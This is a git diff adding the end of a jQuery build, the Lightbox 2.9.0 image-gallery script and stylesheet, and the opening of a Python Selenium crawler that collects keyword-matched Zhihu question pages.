+			curElem.css( props );
+		}
+	}
+};
+
+jQuery.fn.extend({
+	offset: function( options ) {
+		if ( arguments.length ) {
+			return options === undefined ?
+				this :
+				this.each(function( i ) {
+					jQuery.offset.setOffset( this, options, i );
+				});
+		}
+
+		var docElem, win,
+			elem = this[ 0 ],
+			box = { top: 0, left: 0 },
+			doc = elem && elem.ownerDocument;
+
+		if ( !doc ) {
+			return;
+		}
+
+		docElem = doc.documentElement;
+
+		// Make sure it's not a disconnected DOM node
+		if ( !jQuery.contains( docElem, elem ) ) {
+			return box;
+		}
+
+		// Support: BlackBerry 5, iOS 3 (original iPhone)
+		// If we don't have gBCR, just use 0,0 rather than error
+		if ( typeof elem.getBoundingClientRect !== strundefined ) {
+			box = elem.getBoundingClientRect();
+		}
+		win = getWindow( doc );
+		return {
+			top: box.top + win.pageYOffset - docElem.clientTop,
+			left: box.left + win.pageXOffset - docElem.clientLeft
+		};
+	},
+
+	position: function() {
+		if ( !this[ 0 ] ) {
+			return;
+		}
+
+		var offsetParent, offset,
+			elem = this[ 0 ],
+			parentOffset = { top: 0, left: 0 };
+
+		// Fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is its only offset parent
+		if ( jQuery.css( elem, "position" ) === "fixed" ) {
+			// Assume getBoundingClientRect is there when computed position is fixed
+			offset = elem.getBoundingClientRect();
+
+		} else {
+			// Get *real* offsetParent
+			offsetParent = this.offsetParent();
+
+			// Get correct offsets
+			offset = this.offset();
+			if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
+				parentOffset = offsetParent.offset();
+			}
+
+			// Add offsetParent borders
+			parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true );
+			parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true );
+		}
+
+		// Subtract parent offsets and element margins
+		return {
+			top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
+			left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
+		};
+	},
+
+	offsetParent: function() {
+		return this.map(function() {
+			var offsetParent = this.offsetParent || docElem;
+
+			while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position" ) === "static" ) ) {
+				offsetParent = offsetParent.offsetParent;
+			}
+
+			return offsetParent || docElem;
+		});
+	}
+});
+
+// Create scrollLeft and scrollTop methods
+jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
+	var top = "pageYOffset" === prop;
+
+	jQuery.fn[ method ] = function( val ) {
+		return access( this, function( elem, method, val ) {
+			var win = getWindow( elem );
+
+			if ( val === undefined ) {
+				return win ? win[ prop ] : elem[ method ];
+			}
+
+			if ( win ) {
+				win.scrollTo(
+					!top ? val : window.pageXOffset,
+					top ? val : window.pageYOffset
+				);
+
+			} else {
+				elem[ method ] = val;
+			}
+		}, method, val, arguments.length, null );
+	};
+});
+
+// Support: Safari<7+, Chrome<37+
+// Add the top/left cssHooks using jQuery.fn.position
+// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
+// Blink bug: https://code.google.com/p/chromium/issues/detail?id=229280
+// getComputedStyle returns percent when specified for top/left/bottom/right;
+// rather than make the css module depend on the offset module, just check for it here
+jQuery.each( [ "top", "left" ], function( i, prop ) {
+	jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
+		function( elem, computed ) {
+			if ( computed ) {
+				computed = curCSS( elem, prop );
+				// If curCSS returns percentage, fallback to offset
+				return rnumnonpx.test( computed ) ?
+					jQuery( elem ).position()[ prop ] + "px" :
+					computed;
+			}
+		}
+	);
+});
+
+
+// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
+jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
+	jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) {
+		// Margin is only for outerHeight, outerWidth
+		jQuery.fn[ funcName ] = function( margin, value ) {
+			var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
+				extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
+
+			return access( this, function( elem, type, value ) {
+				var doc;
+
+				if ( jQuery.isWindow( elem ) ) {
+					// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
+					// isn't a whole lot we can do. See pull request at this URL for discussion:
+					// https://github.com/jquery/jquery/pull/764
+					return elem.document.documentElement[ "client" + name ];
+				}
+
+				// Get document width or height
+				if ( elem.nodeType === 9 ) {
+					doc = elem.documentElement;
+
+					// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
+					// whichever is greatest
+					return Math.max(
+						elem.body[ "scroll" + name ], doc[ "scroll" + name ],
+						elem.body[ "offset" + name ], doc[ "offset" + name ],
+						doc[ "client" + name ]
+					);
+				}
+
+				return value === undefined ?
+					// Get width or height on the element, requesting but not forcing parseFloat
+					jQuery.css( elem, type, extra ) :
+
+					// Set width or height on the element
+					jQuery.style( elem, type, value, extra );
+			}, type, chainable ? margin : undefined, chainable, null );
+		};
+	});
+});
+
+
+// The number of elements contained in the matched element set
+jQuery.fn.size = function() {
+	return this.length;
+};
+
+jQuery.fn.andSelf = jQuery.fn.addBack;
+
+
+
+
+// Register as a named AMD module, since jQuery can be concatenated with other
+// files that may use define, but not via a proper concatenation script that
+// understands anonymous AMD modules. A named AMD is safest and most robust
+// way to register. Lowercase jquery is used because AMD module names are
+// derived from file names, and jQuery is normally delivered in a lowercase
+// file name. Do this after creating the global so that if an AMD module wants
+// to call noConflict to hide this version of jQuery, it will work.
+
+// Note that for maximum portability, libraries that are not jQuery should
+// declare themselves as anonymous modules, and avoid setting a global if an
+// AMD loader is present. jQuery is a special case. For more information, see
+// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
+
+if ( typeof define === "function" && define.amd ) {
+	define( "jquery", [], function() {
+		return jQuery;
+	});
+}
+
+
+
+
+var
+	// Map over jQuery in case of overwrite
+	_jQuery = window.jQuery,
+
+	// Map over the $ in case of overwrite
+	_$ = window.$;
+
+jQuery.noConflict = function( deep ) {
+	if ( window.$ === jQuery ) {
+		window.$ = _$;
+	}
+
+	if ( deep && window.jQuery === jQuery ) {
+		window.jQuery = _jQuery;
+	}
+
+	return jQuery;
+};
+
+// Expose jQuery and $ identifiers, even in AMD
+// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
+// and CommonJS for browser emulators (#13566)
+if ( typeof noGlobal === strundefined ) {
+	window.jQuery = window.$ = jQuery;
+}
+
+
+
+
+return jQuery;
+
+}));
+
+/*!
+ * Lightbox v2.9.0
+ * by Lokesh Dhakar
+ *
+ * More info:
+ * http://lokeshdhakar.com/projects/lightbox2/
+ *
+ * Copyright 2007, 2015 Lokesh Dhakar
+ * Released under the MIT license
+ * https://github.com/lokesh/lightbox2/blob/master/LICENSE
+ */
+
+// Uses Node, AMD or browser globals to create a module.
+(function (root, factory) {
+    if (typeof define === 'function' && define.amd) {
+        // AMD. Register as an anonymous module.
+        define(['jquery'], factory);
+    } else if (typeof exports === 'object') {
+        // Node. Does not work with strict CommonJS, but
+        // only CommonJS-like environments that support module.exports,
+        // like Node.
+        module.exports = factory(require('jquery'));
+    } else {
+        // Browser globals (root is window)
+        root.lightbox = factory(root.jQuery);
+    }
+}(this, function ($) {
+
+  function Lightbox(options) {
+    this.album = [];
+    this.currentImageIndex = void 0;
+    this.init();
+
+    // options
+    this.options = $.extend({}, this.constructor.defaults);
+    this.option(options);
+  }
+
+  // Descriptions of all options available on the demo site:
+  // http://lokeshdhakar.com/projects/lightbox2/index.html#options
+  Lightbox.defaults = {
+    albumLabel: 'Image %1 of %2',
+    alwaysShowNavOnTouchDevices: false,
+    fadeDuration: 600,
+    fitImagesInViewport: true,
+    imageFadeDuration: 600,
+    // maxWidth: 800,
+    // maxHeight: 600,
+    positionFromTop: 50,
+    resizeDuration: 700,
+    showImageNumberLabel: true,
+    wrapAround: false,
+    disableScrolling: false,
+    /*
+    Sanitize Title
+    If the caption data is trusted, for example you are hardcoding it in, then leave this to false.
+    This will free you to add html tags, such as links, in the caption.
+
+    If the caption data is user submitted or from some other untrusted source, then set this to true
+    to prevent xss and other injection attacks.
+     */
+    sanitizeTitle: false
+  };
+
+  Lightbox.prototype.option = function(options) {
+    $.extend(this.options, options);
+  };
+
+  Lightbox.prototype.imageCountLabel = function(currentImageNum, totalImages) {
+    return this.options.albumLabel.replace(/%1/g, currentImageNum).replace(/%2/g, totalImages);
+  };
+
+  Lightbox.prototype.init = function() {
+    var self = this;
+    // Both enable and build methods require the body tag to be in the DOM.
+    $(document).ready(function() {
+      self.enable();
+      self.build();
+    });
+  };
+
+  // Loop through anchors and areamaps looking for either data-lightbox attributes or rel attributes
+  // that contain 'lightbox'. When these are clicked, start lightbox.
+  Lightbox.prototype.enable = function() {
+    var self = this;
+    $('body').on('click', 'a[rel^=lightbox], area[rel^=lightbox], a[data-lightbox], area[data-lightbox]', function(event) {
+      self.start($(event.currentTarget));
+      return false;
+    });
+  };
+
+  // Build html for the lightbox and the overlay.
+  // Attach event handlers to the new DOM elements. click click click
+  Lightbox.prototype.build = function() {
+    var self = this;
+    $('<div id="lightboxOverlay" class="lightboxOverlay"></div><div id="lightbox" class="lightbox"><div class="lb-outerContainer"><div class="lb-container"><img class="lb-image" src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" /><div class="lb-nav"><a class="lb-prev" href="" ></a><a class="lb-next" href="" ></a></div><div class="lb-loader"><a class="lb-cancel"></a></div></div></div><div class="lb-dataContainer"><div class="lb-data"><div class="lb-details"><span class="lb-caption"></span><span class="lb-number"></span></div><div class="lb-closeContainer"><a class="lb-close"></a></div></div></div></div>').appendTo($('body'));
+
+    // Cache jQuery objects
+    this.$lightbox       = $('#lightbox');
+    this.$overlay        = $('#lightboxOverlay');
+    this.$outerContainer = this.$lightbox.find('.lb-outerContainer');
+    this.$container      = this.$lightbox.find('.lb-container');
+    this.$image          = this.$lightbox.find('.lb-image');
+    this.$nav            = this.$lightbox.find('.lb-nav');
+
+    // Store css values for future lookup
+    this.containerPadding = {
+      top: parseInt(this.$container.css('padding-top'), 10),
+      right: parseInt(this.$container.css('padding-right'), 10),
+      bottom: parseInt(this.$container.css('padding-bottom'), 10),
+      left: parseInt(this.$container.css('padding-left'), 10)
+    };
+
+    this.imageBorderWidth = {
+      top: parseInt(this.$image.css('border-top-width'), 10),
+      right: parseInt(this.$image.css('border-right-width'), 10),
+      bottom: parseInt(this.$image.css('border-bottom-width'), 10),
+      left: parseInt(this.$image.css('border-left-width'), 10)
+    };
+
+    // Attach event handlers to the newly minted DOM elements
+    this.$overlay.hide().on('click', function() {
+      self.end();
+      return false;
+    });
+
+    this.$lightbox.hide().on('click', function(event) {
+      if ($(event.target).attr('id') === 'lightbox') {
+        self.end();
+      }
+      return false;
+    });
+
+    this.$outerContainer.on('click', function(event) {
+      if ($(event.target).attr('id') === 'lightbox') {
+        self.end();
+      }
+      return false;
+    });
+
+    this.$lightbox.find('.lb-prev').on('click', function() {
+      if (self.currentImageIndex === 0) {
+        self.changeImage(self.album.length - 1);
+      } else {
+        self.changeImage(self.currentImageIndex - 1);
+      }
+      return false;
+    });
+
+    this.$lightbox.find('.lb-next').on('click', function() {
+      if (self.currentImageIndex === self.album.length - 1) {
+        self.changeImage(0);
+      } else {
+        self.changeImage(self.currentImageIndex + 1);
+      }
+      return false;
+    });
+
+    /*
+      Show context menu for image on right-click
+
+      There is a div containing the navigation that spans the entire image and lives above of it. If
+      you right-click, you are right clicking this div and not the image. This prevents users from
+      saving the image or using other context menu actions with the image.
+
+      To fix this, when we detect the right mouse button is pressed down, but not yet clicked, we
+      set pointer-events to none on the nav div. This is so that the upcoming right-click event on
+      the next mouseup will bubble down to the image. Once the right-click/contextmenu event occurs
+      we set the pointer events back to auto for the nav div so it can capture hover and left-click
+      events as usual.
+     */
+    this.$nav.on('mousedown', function(event) {
+      if (event.which === 3) {
+        self.$nav.css('pointer-events', 'none');
+
+        self.$lightbox.one('contextmenu', function() {
+          setTimeout(function() {
+              this.$nav.css('pointer-events', 'auto');
+          }.bind(self), 0);
+        });
+      }
+    });
+
+
+    this.$lightbox.find('.lb-loader, .lb-close').on('click', function() {
+      self.end();
+      return false;
+    });
+  };
+
+  // Show overlay and lightbox. If the image is part of a set, add siblings to album array.
+  Lightbox.prototype.start = function($link) {
+    var self    = this;
+    var $window = $(window);
+
+    $window.on('resize', $.proxy(this.sizeOverlay, this));
+
+    $('select, object, embed').css({
+      visibility: 'hidden'
+    });
+
+    this.sizeOverlay();
+
+    this.album = [];
+    var imageNumber = 0;
+
+    function addToAlbum($link) {
+      self.album.push({
+        link: $link.attr('href'),
+        title: $link.attr('data-title') || $link.attr('title')
+      });
+    }
+
+    // Support both data-lightbox attribute and rel attribute implementations
+    var dataLightboxValue = $link.attr('data-lightbox');
+    var $links;
+
+    if (dataLightboxValue) {
+      $links = $($link.prop('tagName') + '[data-lightbox="' + dataLightboxValue + '"]');
+      for (var i = 0; i < $links.length; i = ++i) {
+        addToAlbum($($links[i]));
+        if ($links[i] === $link[0]) {
+          imageNumber = i;
+        }
+      }
+    } else {
+      if ($link.attr('rel') === 'lightbox') {
+        // If image is not part of a set
+        addToAlbum($link);
+      } else {
+        // If image is part of a set
+        $links = $($link.prop('tagName') + '[rel="' + $link.attr('rel') + '"]');
+        for (var j = 0; j < $links.length; j = ++j) {
+          addToAlbum($($links[j]));
+          if ($links[j] === $link[0]) {
+            imageNumber = j;
+          }
+        }
+      }
+    }
+
+    // Position Lightbox
+    var top  = $window.scrollTop() + this.options.positionFromTop;
+    var left = $window.scrollLeft();
+    this.$lightbox.css({
+      top: top + 'px',
+      left: left + 'px'
+    }).fadeIn(this.options.fadeDuration);
+
+    // Disable scrolling of the page while open
+    if (this.options.disableScrolling) {
+      $('body').addClass('lb-disable-scrolling');
+    }
+
+    this.changeImage(imageNumber);
+  };
+
+  // Hide most UI elements in preparation for the animated resizing of the lightbox.
+  Lightbox.prototype.changeImage = function(imageNumber) {
+    var self = this;
+
+    this.disableKeyboardNav();
+    var $image = this.$lightbox.find('.lb-image');
+
+    this.$overlay.fadeIn(this.options.fadeDuration);
+
+    $('.lb-loader').fadeIn('slow');
+    this.$lightbox.find('.lb-image, .lb-nav, .lb-prev, .lb-next, .lb-dataContainer, .lb-numbers, .lb-caption').hide();
+
+    this.$outerContainer.addClass('animating');
+
+    // When image to show is preloaded, we send the width and height to sizeContainer()
+    var preloader = new Image();
+    preloader.onload = function() {
+      var $preloader;
+      var imageHeight;
+      var imageWidth;
+      var maxImageHeight;
+      var maxImageWidth;
+      var windowHeight;
+      var windowWidth;
+
+      $image.attr('src', self.album[imageNumber].link);
+
+      $preloader = $(preloader);
+
+      $image.width(preloader.width);
+      $image.height(preloader.height);
+
+      if (self.options.fitImagesInViewport) {
+        // Fit image inside the viewport.
+        // Take into account the border around the image and an additional 10px gutter on each side.
+
+        windowWidth    = $(window).width();
+        windowHeight   = $(window).height();
+        maxImageWidth  = windowWidth - self.containerPadding.left - self.containerPadding.right - self.imageBorderWidth.left - self.imageBorderWidth.right - 20;
+        maxImageHeight = windowHeight - self.containerPadding.top - self.containerPadding.bottom - self.imageBorderWidth.top - self.imageBorderWidth.bottom - 120;
+
+        // Check if image size is larger then maxWidth|maxHeight in settings
+        if (self.options.maxWidth && self.options.maxWidth < maxImageWidth) {
+          maxImageWidth = self.options.maxWidth;
+        }
+        if (self.options.maxHeight && self.options.maxHeight < maxImageWidth) {
+          maxImageHeight = self.options.maxHeight;
+        }
+
+        // Is there a fitting issue?
+        if ((preloader.width > maxImageWidth) || (preloader.height > maxImageHeight)) {
+          if ((preloader.width / maxImageWidth) > (preloader.height / maxImageHeight)) {
+            imageWidth  = maxImageWidth;
+            imageHeight = parseInt(preloader.height / (preloader.width / imageWidth), 10);
+            $image.width(imageWidth);
+            $image.height(imageHeight);
+          } else {
+            imageHeight = maxImageHeight;
+            imageWidth = parseInt(preloader.width / (preloader.height / imageHeight), 10);
+            $image.width(imageWidth);
+            $image.height(imageHeight);
+          }
+        }
+      }
+      self.sizeContainer($image.width(), $image.height());
+    };
+
+    preloader.src          = this.album[imageNumber].link;
+    this.currentImageIndex = imageNumber;
+  };
+
+  // Stretch overlay to fit the viewport
+  Lightbox.prototype.sizeOverlay = function() {
+    this.$overlay
+      .width($(document).width())
+      .height($(document).height());
+  };
+
+  // Animate the size of the lightbox to fit the image we are showing
+  Lightbox.prototype.sizeContainer = function(imageWidth, imageHeight) {
+    var self = this;
+
+    var oldWidth  = this.$outerContainer.outerWidth();
+    var oldHeight = this.$outerContainer.outerHeight();
+    var newWidth  = imageWidth + this.containerPadding.left + this.containerPadding.right + this.imageBorderWidth.left + this.imageBorderWidth.right;
+    var newHeight = imageHeight + this.containerPadding.top + this.containerPadding.bottom + this.imageBorderWidth.top + this.imageBorderWidth.bottom;
+
+    function postResize() {
+      self.$lightbox.find('.lb-dataContainer').width(newWidth);
+      self.$lightbox.find('.lb-prevLink').height(newHeight);
+      self.$lightbox.find('.lb-nextLink').height(newHeight);
+      self.showImage();
+    }
+
+    if (oldWidth !== newWidth || oldHeight !== newHeight) {
+      this.$outerContainer.animate({
+        width: newWidth,
+        height: newHeight
+      }, this.options.resizeDuration, 'swing', function() {
+        postResize();
+      });
+    } else {
+      postResize();
+    }
+  };
+
+  // Display the image and its details and begin preload neighboring images.
+  Lightbox.prototype.showImage = function() {
+    this.$lightbox.find('.lb-loader').stop(true).hide();
+    this.$lightbox.find('.lb-image').fadeIn(this.options.imageFadeDuration);
+
+    this.updateNav();
+    this.updateDetails();
+    this.preloadNeighboringImages();
+    this.enableKeyboardNav();
+  };
+
+  // Display previous and next navigation if appropriate.
+  Lightbox.prototype.updateNav = function() {
+    // Check to see if the browser supports touch events. If so, we take the conservative approach
+    // and assume that mouse hover events are not supported and always show prev/next navigation
+    // arrows in image sets.
+    var alwaysShowNav = false;
+    try {
+      document.createEvent('TouchEvent');
+      alwaysShowNav = (this.options.alwaysShowNavOnTouchDevices) ? true : false;
+    } catch (e) {}
+
+    this.$lightbox.find('.lb-nav').show();
+
+    if (this.album.length > 1) {
+      if (this.options.wrapAround) {
+        if (alwaysShowNav) {
+          this.$lightbox.find('.lb-prev, .lb-next').css('opacity', '1');
+        }
+        this.$lightbox.find('.lb-prev, .lb-next').show();
+      } else {
+        if (this.currentImageIndex > 0) {
+          this.$lightbox.find('.lb-prev').show();
+          if (alwaysShowNav) {
+            this.$lightbox.find('.lb-prev').css('opacity', '1');
+          }
+        }
+        if (this.currentImageIndex < this.album.length - 1) {
+          this.$lightbox.find('.lb-next').show();
+          if (alwaysShowNav) {
+            this.$lightbox.find('.lb-next').css('opacity', '1');
+          }
+        }
+      }
+    }
+  };
+
+  // Display caption, image number, and closing button.
+  Lightbox.prototype.updateDetails = function() {
+    var self = this;
+
+    // Enable anchor clicks in the injected caption html.
+    // Thanks Nate Wright for the fix. @https://github.com/NateWr
+    if (typeof this.album[this.currentImageIndex].title !== 'undefined' &&
+      this.album[this.currentImageIndex].title !== '') {
+      var $caption = this.$lightbox.find('.lb-caption');
+      if (this.options.sanitizeTitle) {
+        $caption.text(this.album[this.currentImageIndex].title);
+      } else {
+        $caption.html(this.album[this.currentImageIndex].title);
+      }
+      $caption.fadeIn('fast')
+        .find('a').on('click', function(event) {
+          if ($(this).attr('target') !== undefined) {
+            window.open($(this).attr('href'), $(this).attr('target'));
+          } else {
+            location.href = $(this).attr('href');
+          }
+        });
+    }
+
+    if (this.album.length > 1 && this.options.showImageNumberLabel) {
+      var labelText = this.imageCountLabel(this.currentImageIndex + 1, this.album.length);
+      this.$lightbox.find('.lb-number').text(labelText).fadeIn('fast');
+    } else {
+      this.$lightbox.find('.lb-number').hide();
+    }
+
+    this.$outerContainer.removeClass('animating');
+
+    this.$lightbox.find('.lb-dataContainer').fadeIn(this.options.resizeDuration, function() {
+      return self.sizeOverlay();
+    });
+  };
+
+  // Preload previous and next images in set.
+  Lightbox.prototype.preloadNeighboringImages = function() {
+    if (this.album.length > this.currentImageIndex + 1) {
+      var preloadNext = new Image();
+      preloadNext.src = this.album[this.currentImageIndex + 1].link;
+    }
+    if (this.currentImageIndex > 0) {
+      var preloadPrev = new Image();
+      preloadPrev.src = this.album[this.currentImageIndex - 1].link;
+    }
+  };
+
+  Lightbox.prototype.enableKeyboardNav = function() {
+    $(document).on('keyup.keyboard', $.proxy(this.keyboardAction, this));
+  };
+
+  Lightbox.prototype.disableKeyboardNav = function() {
+    $(document).off('.keyboard');
+  };
+
+  Lightbox.prototype.keyboardAction = function(event) {
+    var KEYCODE_ESC        = 27;
+    var KEYCODE_LEFTARROW  = 37;
+    var KEYCODE_RIGHTARROW = 39;
+
+    var keycode = event.keyCode;
+    var key     = String.fromCharCode(keycode).toLowerCase();
+    if (keycode === KEYCODE_ESC || key.match(/x|o|c/)) {
+      this.end();
+    } else if (key === 'p' || keycode === KEYCODE_LEFTARROW) {
+      if (this.currentImageIndex !== 0) {
+        this.changeImage(this.currentImageIndex - 1);
+      } else if (this.options.wrapAround && this.album.length > 1) {
+        this.changeImage(this.album.length - 1);
+      }
+    } else if (key === 'n' || keycode === KEYCODE_RIGHTARROW) {
+      if (this.currentImageIndex !== this.album.length - 1) {
+        this.changeImage(this.currentImageIndex + 1);
+      } else if (this.options.wrapAround && this.album.length > 1) {
+        this.changeImage(0);
+      }
+    }
+  };
+
+  // Closing time. :-(
+  Lightbox.prototype.end = function() {
+    this.disableKeyboardNav();
+    $(window).off('resize', this.sizeOverlay);
+    this.$lightbox.fadeOut(this.options.fadeDuration);
+    this.$overlay.fadeOut(this.options.fadeDuration);
+    $('select, object, embed').css({
+      visibility: 'visible'
+    });
+    if (this.options.disableScrolling) {
+      $('body').removeClass('lb-disable-scrolling');
+    }
+  };
+
+  return new Lightbox();
+}));
diff --git a/zhihu_fun/zhihu_fun/frontend/lightbox.css b/zhihu_fun/zhihu_fun/frontend/lightbox.css
new file mode 100644
index 00000000..80958352
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/frontend/lightbox.css
@@ -0,0 +1,213 @@
+/* Preload images */
+body:after {
+  content: url(../images/close.png) url(../images/loading.gif) url(../images/prev.png) url(../images/next.png);
+  display: none;
+}
+
+body.lb-disable-scrolling {
+  overflow: hidden;
+}
+
+.lightboxOverlay {
+  position: absolute;
+  top: 0;
+  left: 0;
+  z-index: 9999;
+  background-color: black;
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80);
+  opacity: 0.8;
+  display: none;
+}
+
+.lightbox {
+  position: absolute;
+  left: 0;
+  width: 100%;
+  z-index: 10000;
+  text-align: center;
+  line-height: 0;
+  font-weight: normal;
+}
+
+.lightbox .lb-image {
+  display: block;
+  height: auto;
+  max-width: inherit;
+  max-height: none;
+  border-radius: 3px;
+
+  /* Image border */
+  border: 4px solid white;
+}
+
+.lightbox a img {
+  border: none;
+}
+
+.lb-outerContainer {
+  position: relative;
+  *zoom: 1;
+  width: 250px;
+  height: 250px;
+  margin: 0 auto;
+  border-radius: 4px;
+
+  /* Background color behind image.
+     This is visible during transitions. */
+  background-color: white;
+}
+
+.lb-outerContainer:after {
+  content: "";
+  display: table;
+  clear: both;
+}
+
+.lb-loader {
+  position: absolute;
+  top: 43%;
+  left: 0;
+  height: 25%;
+  width: 100%;
+  text-align: center;
+  line-height: 0;
+}
+
+.lb-cancel {
+  display: block;
+  width: 32px;
+  height: 32px;
+  margin: 0 auto;
+  background: url(../images/loading.gif) no-repeat;
+}
+
+.lb-nav {
+  position: absolute;
+  top: 0;
+  left: 0;
+  height: 100%;
+  width: 100%;
+  z-index: 10;
+}
+
+.lb-container > .nav {
+  left: 0;
+}
+
+.lb-nav a {
+  outline: none;
+  background-image: url('data:image/gif;base64,R0lGODlhAQABAPAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
+}
+
+.lb-prev, .lb-next {
+  height: 100%;
+  cursor: pointer;
+  display: block;
+}
+
+.lb-nav a.lb-prev {
+  width: 34%;
+  left: 0;
+  float: left;
+  background: url(../images/prev.png) left 48% no-repeat;
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=0);
+  opacity: 0;
+  -webkit-transition: opacity 0.6s;
+  -moz-transition: opacity 0.6s;
+  -o-transition: opacity 0.6s;
+  transition: opacity 0.6s;
+}
+
+.lb-nav a.lb-prev:hover {
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100);
+  opacity: 1;
+}
+
+.lb-nav a.lb-next {
+  width: 64%;
+  right: 0;
+  float: right;
+  background: url(../images/next.png) right 48% no-repeat;
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=0);
+  opacity: 0;
+  -webkit-transition: opacity 0.6s;
+  -moz-transition: opacity 0.6s;
+  -o-transition: opacity 0.6s;
+  transition: opacity 0.6s;
+}
+
+.lb-nav a.lb-next:hover {
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100);
+  opacity: 1;
+}
+
+.lb-dataContainer {
+  margin: 0 auto;
+  padding-top: 5px;
+  *zoom: 1;
+  width: 100%;
+  -moz-border-radius-bottomleft: 4px;
+  -webkit-border-bottom-left-radius: 4px;
+  border-bottom-left-radius: 4px;
+  -moz-border-radius-bottomright: 4px;
+  -webkit-border-bottom-right-radius: 4px;
+  border-bottom-right-radius: 4px;
+}
+
+.lb-dataContainer:after {
+  content: "";
+  display: table;
+  clear: both;
+}
+
+.lb-data {
+  padding: 0 4px;
+  color: #ccc;
+}
+
+.lb-data .lb-details {
+  width: 85%;
+  float: left;
+  text-align: left;
+  line-height: 1.1em;
+}
+
+.lb-data .lb-caption {
+  font-size: 13px;
+  font-weight: bold;
+  line-height: 1em;
+}
+
+.lb-data .lb-caption a {
+  color: #4ae;
+}
+
+.lb-data .lb-number {
+  display: block;
+  clear: left;
+  padding-bottom: 1em;
+  font-size: 12px;
+  color: #999999;
+}
+
+.lb-data .lb-close {
+  display: block;
+  float: right;
+  width: 30px;
+  height: 30px;
+  background: url(../images/close.png) top right no-repeat;
+  text-align: right;
+  outline: none;
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=70);
+  opacity: 0.7;
+  -webkit-transition: opacity 0.2s;
+  -moz-transition: opacity 0.2s;
+  -o-transition: opacity 0.2s;
+  transition: opacity 0.2s;
+}
+
+.lb-data .lb-close:hover {
+  cursor: pointer;
+  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100);
+  opacity: 1;
+}
diff --git a/zhihu_fun/zhihu_fun/go.py b/zhihu_fun/zhihu_fun/go.py
new file mode 100644
index 00000000..5ec1df0d
--- /dev/null
+++ b/zhihu_fun/zhihu_fun/go.py
@@ -0,0 +1,161 @@
+from queue import Queue
+from random import randint
+from time import time
+from threading import Thread
+from .config import config
+from .netlib.requests import my_session, _get_image
+from .netlib.selenium import _get_driver, _open_question_description, _open_load_more, _open_question_load_more
+from .toollib.basic import _get_headers
+from .toollib.bs import _to_bs
+from .toollib.logger import Logger
+from .toollib.question import _get_questions, _get_question_url, _filter_question, _get_question_title
+from .toollib.dec import time_dec
+from .toollib.answer import _filter_answer, _get_answers, _get_attr
+import json
+import os
+
+session = my_session()
+session.headers = _get_headers()
+ROOTURL = config.get('root_url')
+basedir = os.path.abspath(os.path.dirname(__name__))
+
+
+class UrlGenerator(object):
+    def __init__(self, q, keyword_number=1):
+        self.driver = _get_driver()
+        self._start_url = config.get('start_url') or ROOTURL
+        self._first_page = _to_bs(self._get_page(self._start_url))
+        self._urls = set()
+        self.urls = []
+        self.info = []
+        self.keyword_number = keyword_number
+        self.macthed_keys = {}
+        self.q = q
+
+    @time_dec
+    def _get_page(self, url):
+        self.driver.get(url)
+        _open_load_more(self.driver)
+        if 'question' in self.driver.current_url:
+            _open_question_description(self.driver)
+        return self.driver.page_source
+
+    @time_dec
+    def _generate_url(self, bs_obj):
+        for item in _get_questions(bs_obj):
+            url = _get_question_url(item)
+            title = _get_question_title(item)
+            attrs = {'url': url, 'title': title}
+            if url not in self._urls:
+                matched_keys = _filter_question(item, self.keyword_number)
+                if not matched_keys:
+                    continue
+                for key in matched_keys:
+                    if key not in self.macthed_keys:
+                        self.macthed_keys[key] = 0
+                    self.macthed_keys[key] += 1
+                Logger.info('New Page {url} Title {title}'.format(**attrs))
+                self._urls.add(url)
+                self.info.append(attrs)
+                self.urls.append(url)
+                if 'question' in url:
+                    self.q.put(attrs)
+            else:
+                Logger.debug('Page {url} Title {title} is Filterd'.format(**attrs))
+
+    def _run(self, first=True, second=None):
+        start_time = time()
+        if first:
+            if config.get('custom_urls'):
+                self.urls.extend(config.get('custom_urls'))
+                Logger.info('Extend Custom URLs')
+            else:
+                Logger.warning('No Custom URLs')
+            Logger.info('First Page, Start URL {}'.format(self._start_url))
+            self._generate_url(self._first_page)
+            Logger.info('First Page Finished')
+        while True:
+            total_second = time() - start_time
+            if second is not None:
+                if total_second > second:
+                    Logger.info('Total Second {}, Stopping app...'.format(total_second))
+                    break
+            if not self.urls:
+                Logger.info('Finished, No More Resource')
+                break
+            index = randint(0, len(self.urls) - 1)  # generate url from random index
+            url = self.urls[index]
+            self.urls.pop(index)
+            Logger.info('Access URL {}'.format(url))
+            bs_obj = _to_bs(self._get_page(url))
+            self._generate_url(bs_obj)
+
+    def run(self, second=None):
+        self._run(second=second)
+
+
+class QuestionParser(object):
+    def __init__(self, q):
+        self.driver = _get_driver()  # init selenium webdriver
+        self.q = q  # get process queue
+        self.answer_queue = Queue()  # init answer queue
+
+    def _get_page(self, url):
+        self.driver.get(url)
+        _open_question_load_more(self.driver)
+        return self.driver.page_source
+
